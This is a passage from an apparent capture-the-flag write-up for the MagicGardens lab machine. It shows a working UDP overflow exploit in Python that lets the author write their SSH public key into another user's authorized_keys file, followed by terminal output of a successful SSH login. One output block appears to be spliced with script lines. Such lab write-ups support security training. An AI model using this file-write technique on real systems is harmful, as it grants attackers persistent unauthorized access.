[!] Suspicious activity. Packages have been logged.
[!] Suspicious activity. Packages have been logged.
[!] Suspicious activity. Packages have been logged.
[!] Suspicious activity. Packages have been logged.
And overflow.log
exists full of “A”:
oxdf@hacky$ wc overflow.log
0 1 65372 overflow.log
oxdf@hacky$ head -c 100 overflow.log
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Write File
My goal is to write an SSH public key to alex’s authorized_keys
file, providing SSH access. I don’t really want all those “A”, so I’ll replace them with “\n”. I’ll also add in some dummy data to represent what I want to write:
import socket
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
file_path = b"overflow.log"
data = b"this will be my SSH public key"
data += b"\n" * (65360 + 12 - len(data))
data += file_path
sock.sendto(data, SRV_ADDR)
I’ll delete the existing overflow.log
and run this. The resulting file is missing data from the top:
oxdf@hacky$ head -3 overflow.log
my SSH public key
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
file_path = b"overflow.log"
data = b"A" * 12
data += b"this will be my SSH public key"
data += b"\n" * (65360 + 12 - len(data))
data += file_path
sock.sendto(data, SRV_ADDR)
Now it writes the file exactly like I want.
Remote
At first, it seems like there might be two ways to do this:
As the socket
package is in the Python standard library, I could run this script on MagicGardens as is.
I could get the IPv6 address for the host and run it from my host.
I couldn’t get the remote way to work. I think it has to do with the MTU of an ethernet frame across the wire being 1500 by default, which will make the packet too short to do the overflow.
I’ll update the script to write a file to /dev/shm
with my SSH key:
import socket
SRV_ADDR = ("::1", 4444) # port doesn't matter
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
file_path = b"/dev/shm/key"
data = b"A" * 12
data += b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing"
data += b"\n" * (65360 + 12 - len(data))
data += file_path
sock.sendto(data, SRV_ADDR)
And upload the script to MagicGardens and (after making sure there’s a client connected, which can be done from my host), run it:
morty@magicgardens:/dev/shm$ python3 sploit.py
morty@magicgardens:/dev/shm$ head -3 key
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing
It worked! I’ll update the path from /dev/shm/key
to /home/alex/.ssh/authorized_keys
, and run it again. Now I’m able to connect over SSH as Alex:
oxdf@hacky$ ssh -i ~/keys/ed25519_gen alex@magicgardens.htb
Linux magicgardens 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
...[snip]...
You have mail.
...[snip]...
alex@magicgardens:~$